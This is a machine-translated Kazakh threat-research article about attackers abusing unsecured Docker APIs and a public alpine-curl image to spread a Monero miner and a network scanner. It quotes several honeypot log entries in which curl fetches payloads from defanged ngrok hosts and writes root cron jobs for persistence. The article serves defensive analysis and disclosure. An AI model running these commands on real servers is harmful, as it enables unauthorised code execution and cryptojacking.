Криптовалюта кеншілерін тарату үшін меншікті емес Docker API және қауымдастықтың жалпыға қолжетімді суреттері қалай пайдаланылады

Криптовалюта кеншілерін тарату үшін меншікті емес Docker API және қауымдастықтың жалпыға қолжетімді суреттері қалай пайдаланылады

Біз қауіптерді бақылау үшін жасаған бал құмырасы контейнерлері арқылы жиналған деректерді талдадық. Біз Docker Hub жүйесінде қоғамдастық жариялаған кескінді пайдаланып, жалған контейнерлер ретінде орналастырылған қажетсіз немесе рұқсат етілмеген криптовалюталық шахтерлерден айтарлықтай белсенділікті анықтадық. Кескін зиянды криптовалюта кеншілерін жеткізетін қызметтің бөлігі ретінде пайдаланылады.

Сонымен қатар, ашық көрші контейнерлер мен қолданбаларға ену үшін желілермен жұмыс істеуге арналған бағдарламалар орнатылған.

Біз бал құмыраларымызды сол күйінде қалдырамыз, яғни әдепкі параметрлермен, ешқандай қауіпсіздік шараларынсыз немесе қосымша бағдарламалық құралды кейіннен орнатусыз. Docker-те қателер мен қарапайым осалдықтарды болдырмау үшін бастапқы орнату бойынша ұсыныстар бар екенін ескеріңіз. Бірақ пайдаланылатын бал құмыралары контейнерлер ішіндегі қолданбаларды емес, контейнерлеу платформасына бағытталған шабуылдарды анықтауға арналған контейнерлер болып табылады.

Анықталған зиянды әрекет де назар аударарлық, себебі ол осалдықтарды қажет етпейді және сонымен қатар Docker нұсқасынан тәуелсіз. Қате конфигурацияланған, сондықтан ашық контейнер кескінін табу - шабуылдаушыларға көптеген ашық серверлерді жұқтыру үшін қажет нәрсе.

Жабық емес Docker API пайдаланушыға кең ауқымды орындауға мүмкіндік береді командалар, соның ішінде іске қосылған контейнерлердің тізімін алу, белгілі бір контейнерден журналдарды алу, іске қосу, тоқтату (соның ішінде мәжбүрлі) және тіпті көрсетілген параметрлері бар белгілі бір кескіннен жаңа контейнер жасау.

Криптовалюта кеншілерін тарату үшін меншікті емес Docker API және қауымдастықтың жалпыға қолжетімді суреттері қалай пайдаланылады
Сол жақта зиянды бағдарламаны жеткізу әдісі. Оң жақта кескіндерді қашықтан шығаруға мүмкіндік беретін шабуылдаушы ортасы.

Криптовалюта кеншілерін тарату үшін меншікті емес Docker API және қауымдастықтың жалпыға қолжетімді суреттері қалай пайдаланылады
3762 ашық Docker API интерфейсінің ел бойынша таралуы. 12.02.2019 күнгі Shodan іздеуіне негізделген

Шабуыл тізбегі және пайдалы жүктеме опциялары

Зиянды әрекет тек бал құмыраларының көмегімен ғана анықталған жоқ. Shodan деректері Docker API интерфейстерінің саны (екінші графикті қараңыз) біз Monero криптовалютасын өндіру бағдарламалық құралын орналастыру үшін көпір ретінде пайдаланылған қате конфигурацияланған контейнерді зерттегеннен кейін өскенін көрсетеді. Өткен жылдың қазан айында (2018 ж., ағымдағы деректер сіз осылай көріне аласыз шамамен. аудармашы) тек 856 ашық API болды.

Бал құмырасының журналдарын зерттеу контейнер кескінін пайдалану да пайдаланумен байланысты екенін көрсетті ngrok, қауіпсіз қосылымдарды орнатуға немесе трафикті жалпыға қолжетімді нүктелерден көрсетілген мекенжайларға немесе ресурстарға бағыттауға арналған құрал (мысалы, localhost). Бұл шабуылдаушыларға пайдалы жүктемені ашық серверге жеткізу кезінде URL мекенжайларын динамикалық түрде жасауға мүмкіндік береді. Төменде ngrok қызметін теріс пайдалануды көрсететін журналдардағы код мысалдары берілген:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Көріп отырғаныңыздай, жүктелген файлдар үнемі өзгеретін URL мекенжайларынан жүктеледі. Бұл URL мекенжайларының жарамдылық мерзімі қысқа, сондықтан жарамдылық мерзімі аяқталғаннан кейін пайдалы жүктемелерді жүктеп алу мүмкін емес.

Екі пайдалы жүк опциясы бар. Біріншісі - тау-кен пулына қосылатын Linux үшін құрастырылған ELF кеншісі (Coinminer.SH.MALXMR.ATNO ретінде анықталған). Екіншісі – желі ауқымдарын сканерлеу үшін пайдаланылатын белгілі бір желі құралдарын алуға, содан кейін жаңа мақсаттарды іздеуге арналған сценарий (TrojanSpy.SH.ZNETMAP.A).

Тамшылау сценарийі екі айнымалы мәнді орнатады, содан кейін олар криптовалюта кеншісін орналастыру үшін пайдаланылады. HOST айнымалысы зиянды файлдар орналасқан URL мекенжайын қамтиды, ал RIP айнымалысы - өрістетілетін кеншінің файл атауы (шын мәнінде хэш). HOST айнымалысы хэш айнымалысы өзгерген сайын өзгереді. Сценарий сонымен қатар шабуылға ұшыраған серверде басқа криптовалюталық кеншілер жұмыс істемейтінін тексеруге тырысады.

Криптовалюта кеншілерін тарату үшін меншікті емес Docker API және қауымдастықтың жалпыға қолжетімді суреттері қалай пайдаланылады
HOST және RIP айнымалыларының мысалдары, сондай-ақ басқа кеншілер жұмыс істемейтінін тексеру үшін пайдаланылатын код үзіндісі

Майнерді іске қоспас бұрын ол nginx деп өзгертілді. Бұл сценарийдің басқа нұсқалары шахтер атауын Linux орталарында болуы мүмкін басқа заңды қызметтерге өзгертеді. Бұл әдетте іске қосылған процестер тізіміне қарсы тексерулерді айналып өту үшін жеткілікті.

Іздеу сценарийінде де мүмкіндіктер бар. Ол қажетті құралдарды орналастыру үшін бірдей URL қызметімен жұмыс істейді. Олардың арасында желілерді сканерлеу және ашық порттар тізімін алу үшін қолданылатын zmap екілік жүйесі бар. Сценарий сонымен қатар табылған қызметтермен өзара әрекеттесу және олардан табылған қызмет (мысалы, оның нұсқасы) туралы қосымша ақпаратты анықтау үшін баннерлер алу үшін пайдаланылатын басқа екілік файлды жүктейді.

Сценарий сонымен қатар сканерлеу үшін кейбір желі ауқымдарын алдын ала анықтайды, бірақ бұл сценарий нұсқасына байланысты. Сондай-ақ ол сканерлеуді іске қоспас бұрын қызметтердегі мақсатты порттарды орнатады (бұл жағдайда Docker).

Мүмкін болатын нысандар табылған кезде олардан баннерлер автоматты түрде жойылады. Сценарий сонымен қатар қызметтерге, қолданбаларға, құрамдастарға немесе қызығушылық тудыратын платформаларға байланысты мақсаттарды сүзеді: Redis, Jenkins, Drupal, MODX, Кубернетес шебері, Docker 1.16 клиенті және Apache CouchDB. Егер сканерленген сервер олардың кез келгеніне сәйкес келсе, ол мәтіндік файлда сақталады, оны шабуылдаушылар кейіннен талдау және бұзу үшін пайдалана алады. Бұл мәтіндік файлдар динамикалық сілтемелер арқылы шабуылдаушылардың серверлеріне жүктеледі. Яғни, әрбір файл үшін бөлек URL мекенжайы пайдаланылады, бұл кейінгі қол жеткізу қиын екенін білдіреді.

Шабуыл векторы келесі екі код бөлігінде көрінетіндей Docker кескіні болып табылады.

Криптовалюта кеншілерін тарату үшін меншікті емес Docker API және қауымдастықтың жалпыға қолжетімді суреттері қалай пайдаланылады
Жоғарғы жағында заңды қызмет атауын өзгерту, ал төменгі жағында желілерді сканерлеу үшін zmap қалай қолданылатыны көрсетілген.

Криптовалюта кеншілерін тарату үшін меншікті емес Docker API және қауымдастықтың жалпыға қолжетімді суреттері қалай пайдаланылады
Жоғарғы жағында алдын ала анықталған желі ауқымдары, төменгі жағында қызметтерді іздеуге арналған арнайы порттар, соның ішінде Docker бар.

Криптовалюта кеншілерін тарату үшін меншікті емес Docker API және қауымдастықтың жалпыға қолжетімді суреттері қалай пайдаланылады
Скриншот альпілік бұйра суреті 10 миллионнан астам рет жүктелгенін көрсетеді

Alpine Linux және curl негізінде, әртүрлі протоколдар арқылы файлдарды тасымалдауға арналған ресурсты үнемдейтін CLI құралы, сіз құрастыра аласыз. Докер кескіні. Алдыңғы суретте көріп отырғаныңыздай, бұл сурет қазірдің өзінде 10 миллионнан астам рет жүктелген. Жүктеп алулардың көп саны бұл кескінді кіру нүктесі ретінде пайдалануды білдіруі мүмкін; бұл сурет алты айдан астам уақыт бұрын жаңартылды; пайдаланушылар осы репозиторийден басқа суреттерді жиі жүктеп алмаған. Докерде кіру нүктесі - контейнерді іске қосу үшін конфигурациялау үшін қолданылатын нұсқаулар жиынтығы. Кіру нүктесінің параметрлері дұрыс болмаса (мысалы, контейнер Интернеттен ашық қалдырылған), суретті шабуыл векторы ретінде пайдалануға болады. Қате конфигурацияланбаған немесе қолдау көрсетілмейтін ашық контейнерді тапса, шабуылдаушылар оны пайдалы жүкті жеткізу үшін пайдалана алады.

Бұл кескіннің (alpine-curl) өзі зиянды емес екенін ескеру маңызды, бірақ жоғарыда көріп отырғаныңыздай, оны зиянды функцияларды орындау үшін пайдалануға болады. Ұқсас Docker кескіндерін зиянды әрекеттерді орындау үшін де пайдалануға болады. Біз Докермен байланысып, олармен осы мәселе бойынша жұмыс істедік.

ұсынымдар

Дұрыс емес орнату суйек тұрақты мәселе көптеген компаниялар үшін, әсіресе іске асыратын компаниялар үшін DevOps, жылдам дамытуға және жеткізуге бағытталған. Барлығы аудит және мониторинг ережелерін сақтау қажеттілігімен, деректердің құпиялылығын бақылау қажеттілігімен, сондай-ақ олардың сақталмауынан келетін орасан зор зиянмен ауырлатады. Қауіпсіздікті автоматтандыруды әзірлеудің өмірлік цикліне қосу әйтпесе анықталмай қалуы мүмкін қауіпсіздік саңылауларын табуға көмектесіп қана қоймайды, сонымен қатар қолданбаны қолданғаннан кейін әрбір анықталған осалдық немесе қате конфигурация үшін қосымша бағдарламалық құрал құрастыруларын іске қосу сияқты қажетсіз жұмыс жүктемесін азайтуға көмектеседі.

Осы мақалада талқыланған оқиға қауіпсіздікті басынан бастап ескеру қажеттігін, соның ішінде келесі ұсыныстарды көрсетеді:

  • Жүйе әкімшілері мен әзірлеушілері үшін: Барлығының тек белгілі бір серверден немесе ішкі желіден сұрауларды қабылдауға конфигурацияланғанына көз жеткізу үшін әрқашан API параметрлерін тексеріңіз.
  • Ең аз құқықтар принципін ұстаныңыз: контейнер кескіндеріне қол қойылғанын және тексерілгенін тексеріңіз, маңызды құрамдастарға қол жеткізуді шектеңіз (контейнерді іске қосу қызметі) және желі қосылымдарына шифрлауды қосыңыз.
  • Іздеңіз ұсыныстар және қауіпсіздік тетіктерін қосыңыз, мысалы: Докерден және кіріктірілген қауіпсіздік ерекшеліктері.
  • Контейнерде орындалатын процестер туралы қосымша ақпаратты алу үшін (мысалы, спуфингті анықтау немесе осалдықтарды іздеу үшін) орындау уақыттары мен кескіндерді автоматтандырылған сканерлеуді пайдаланыңыз. Қолданбаны басқару және тұтастықты бақылау серверлердегі, файлдардағы және жүйелік аймақтардағы қалыптан тыс өзгерістерді бақылауға көмектеседі.

Trendmicro DevOps командаларына қауіпсіз құруға, жылдам шығаруға және кез келген жерде іске қосуға көмектеседі. Trend Micro Гибридті бұлттық қауіпсіздік Ұйымның DevOps желісі бойынша қуатты, жеңілдетілген және автоматтандырылған қауіпсіздікті қамтамасыз етеді және көптеген қауіптерден қорғауды қамтамасыз етеді. XGen орындау уақытында физикалық, виртуалды және бұлттық жұмыс жүктемелерін қорғау үшін. Ол сонымен қатар контейнер қауіпсіздігін қосады Терең қауіпсіздік и Deep Security Smart Check, ол қауіптерді орналастыру алдында оларды болдырмау үшін әзірлеу құбырының кез келген нүктесінде зиянды бағдарламалар мен осалдықтарға Docker контейнер кескіндерін сканерлейді.

Компромисс белгілері

Қатысты хэштер:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

туралы Docker бейне курсы Тәжірибелік спикерлер жоғарыда сипатталған жағдайдың пайда болу ықтималдығын азайту немесе толығымен болдырмау үшін алдымен қандай параметрлерді жасау керектігін көрсетеді. Ал 19-21 тамызда онлайн интенсивті DevOps құралдары және Cheats Осы және осыған ұқсас қауіпсіздік мәселелерін әріптестеріңізбен және тәжірибелі мұғалімдермен дөңгелек үстелде талқылай аласыз, мұнда әркім өз пікірін білдіріп, тәжірибелі әріптестердің қиындықтары мен жетістіктерін тыңдай алады.

Ақпарат көзі: www.habr.com

пікір қалдыру